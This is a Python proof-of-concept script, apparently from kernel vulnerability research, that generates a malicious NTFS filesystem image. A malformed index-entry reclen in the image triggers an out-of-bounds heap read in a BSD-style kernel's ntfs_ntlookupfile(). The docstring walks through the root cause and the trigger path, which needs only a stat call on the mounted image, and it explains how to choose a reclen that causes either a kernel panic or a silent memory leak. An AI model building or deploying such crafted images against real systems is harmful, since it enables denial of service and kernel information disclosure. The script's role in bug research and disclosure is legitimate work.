DF-0791 / gen_ntfs_0791.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 | #!/usr/bin/env python3 """ gen_ntfs_0791.py - Crafted NTFS image that triggers the unvalidated subnode-dive OOB read in ntfs_ntlookupfile() (sys/vfs/ntfs/ntfs_subr.c:1006-1011). DF-0791 root cause (confirmed by source trace): 888: rdbuf = kmalloc(blsize, M_TEMP, M_WAITOK); // blsize = ir_size ... 900: for (; !(iep->ie_flag & NTFS_IEFLAG_LAST) && (rdsize > aoff); 901: aoff += iep->reclen, // <-- only entry-START guarded 902: iep = (struct attr_indexentry *) (rdbuf + aoff)) { ... NTFS_UASTRICMP ... if (res > 0) break; ... } 1006: /* Dive if possible */ 1007: if (iep->ie_flag & NTFS_IEFLAG_SUBNODE) { 1010: cn = *(cn_t *) (rdbuf + aoff + // aoff = uint32 1011: iep->reclen - sizeof(cn_t)); // reclen = uint16 from disk // sizeof(cn_t) = 8 (u_int64_t) ... ntfs_readattr(... ntfs_cntob(cn) ...) ... iep->reclen is a raw u_int16_t read directly off disk with NO bounds validation: - if reclen is large, aoff+reclen-8 blows past the kmalloc(blsize) buffer => an 8-byte heap OOB read into cn (CWE-125). With reclen=0xFFFF the read lands ~65 KB past a 4 KB buffer -> crosses into unmapped pages -> kernel page fault (panic). A modest overshoot stays in adjacent mapped slab -> silent info leak. Trigger path (unprivileged after a root mount): stat /mnt/ntfs/a -> namei -> VOP_LOOKUP(rootdir,"a") -> ntfs_lookup (ntfs_vnops.c:712) -> ntfs_ntlookupfile -> INDEX_ROOT walk; entry "zzzzzz" sorts after "a" => res>0 => break -> iep->ie_flag & NTFS_IEFLAG_SUBNODE => dive => OOB cn read The malformed reclen is only consulted at the dive (we break out of the for-loop before ever advancing aoff by reclen), so the rest of the walk is irrelevant. Note: ntfs_ntlookupattr (DF-0786's path) is NOT entered for a plain name lookup (no ":attr" spec), so the sibling lockmgr/overflow bug does not block this path. Output: ntfs_0791.img - root dir (ino 5) INDEX_ROOT holds one index entry ("zzzzzz", SUBNODE flag, reclen = 0xFFFF). """ import struct, sys, os HERE = os.path.dirname(os.path.abspath(__file__)) SIBLING = os.path.join(HERE, '..', 'DF-0786', 'gen_ntfs.py') sys.path.insert(0, os.path.dirname(SIBLING)) import importlib.util spec = importlib.util.spec_from_file_location("gen_ntfs", SIBLING) gen_ntfs = importlib.util.module_from_spec(spec) spec.loader.exec_module(gen_ntfs) CLUS = gen_ntfs.CLUS MFTCN = gen_ntfs.MFTCN MFTRECBYTES = gen_ntfs.MFTRECBYTES NUM_CLUSTERS = gen_ntfs.NUM_CLUSTERS NTFS_A_INDXROOT = gen_ntfs.NTFS_A_INDXROOT NTFS_FRFLAG_DIR = gen_ntfs.NTFS_FRFLAG_DIR NTFS_IEFLAG_SUBNODE = 0x00000001 # ntfs.h:167 NTFS_IEFLAG_LAST = 0x00000002 # ntfs.h:168 def make_index_entry_subnode(fname_str, reclen_override): """Build an attr_indexentry with NTFS_IEFLAG_SUBNODE set and an attacker- chosen reclen (the on-disk field used blindly by the dive read).""" fname_w = gen_ntfs.wstr(fname_str) fnamelen = len(fname_str) fixed = 82 # fixed part of attr_indexentry entry_size = (fixed + len(fname_w) + 7) & ~7 # 8-byte aligned real footprint e = bytearray(entry_size) struct.pack_into('<I', e, 0, 0) # ie_number (unused) struct.pack_into('<I', e, 4, 0) # unknown1 struct.pack_into('<H', e, 8, reclen_override) # ie reclen <-- MALFORMED struct.pack_into('<H', e, 10, entry_size) # ie_size struct.pack_into('<I', e, 12, NTFS_IEFLAG_SUBNODE) # ie_flag = SUBNODE struct.pack_into('<I', e, 16, 5) # ie_fpnumber (parent=root) struct.pack_into('<Q', e, 56, 0) # ie_fallocated struct.pack_into('<Q', e, 64, 0) # ie_fsize struct.pack_into('<Q', e, 72, 0) # ie_fflag e[80] = fnamelen # ie_fnamelen e[81] = 0 # ie_fnametype (POSIX) e[82:82 + len(fname_w)] = fname_w # ie_fname return bytes(e) def make_index_root_evil(reclen_override): """INDEX_ROOT ($I30) data: header + a single SUBNODE entry 'zzzzzz' with a malformed reclen, then a LAST terminator entry.""" iroot = bytearray(32) # struct attr_indexroot struct.pack_into('<I', iroot, 0, 0x30) # ir_unkn1 struct.pack_into('<I', iroot, 4, 0x01) # ir_unkn2 struct.pack_into('<I', iroot, 8, CLUS) # ir_size = blsize (4096) struct.pack_into('<I', iroot, 12, 1) struct.pack_into('<I', iroot, 16, 0x10) struct.pack_into('<I', iroot, 20, 0) # ir_datalen (patched below) struct.pack_into('<I', iroot, 24, 0) # ir_allocated struct.pack_into('<H', iroot, 28, 1) # ir_flag struct.pack_into('<H', iroot, 30, 0) evil = make_index_entry_subnode("zzzzzz", reclen_override) # terminator entry (LAST flag). reclen can be small; it is never advanced # into because the walk breaks on the evil entry first. last = gen_ntfs.make_index_entry("", ino_num=0, flag=NTFS_IEFLAG_LAST) data = bytes(iroot) + evil + last data = bytearray(data) struct.pack_into('<I', data, 20, len(data)) # ir_datalen = rdsize struct.pack_into('<I', data, 24, len(data)) # ir_allocated return bytes(data) def build_mft_record_5_evil(reclen_override): """ino 5 (root dir): resident $INDEX_ROOT ($I30) holding the malformed entry.""" iroot_data = make_index_root_evil(reclen_override) attr = gen_ntfs.make_attr_resident(NTFS_A_INDXROOT, iroot_data, name="$I30") return gen_ntfs.make_file_record(attr, flags=NTFS_FRFLAG_DIR, seqnum=1, nlink=1) def build_image(reclen_override): img = bytearray(NUM_CLUSTERS * CLUS) img[0:len(gen_ntfs.make_boot_sector())] = gen_ntfs.make_boot_sector() mft_records = [None] * 11 mft_records[0] = gen_ntfs.build_mft_record_0() mft_records[1] = gen_ntfs.build_mft_minimal() mft_records[2] = gen_ntfs.build_mft_minimal() mft_records[3] = gen_ntfs.build_mft_minimal() mft_records[4] = gen_ntfs.build_mft_record_4() mft_records[5] = build_mft_record_5_evil(reclen_override) # <-- corrupted root dir mft_records[6] = gen_ntfs.build_mft_record_6() mft_records[7] = gen_ntfs.build_mft_minimal() mft_records[8] = gen_ntfs.build_mft_minimal() mft_records[9] = gen_ntfs.build_mft_minimal() mft_records[10] = gen_ntfs.build_mft_record_10() for i in range(11): off = (MFTCN + i) * CLUS img[off:off + len(mft_records[i])] = mft_records[i] upcase = gen_ntfs.make_upcase_data() uo = gen_ntfs.UPCASE_CN * CLUS img[uo:uo + len(upcase)] = upcase return bytes(img) def main(): reclen = 0xFFFF out = sys.argv[1] if len(sys.argv) > 1 else 'ntfs_0791.img' if len(sys.argv) > 2: reclen = int(sys.argv[2], 0) img = build_image(reclen) with open(out, 'wb') as f: f.write(img) sys.stderr.write( f"[gen] wrote {out}: {len(img)} bytes; root-dir INDEX_ROOT entry " f"'zzzzzz' SUBNODE reclen={reclen} (0x{reclen:04x}); " f"dive read offset = aoff(32) + {reclen} - 8 = {32+reclen-8} " f"vs blsize={CLUS}\n") if __name__ == '__main__': main() |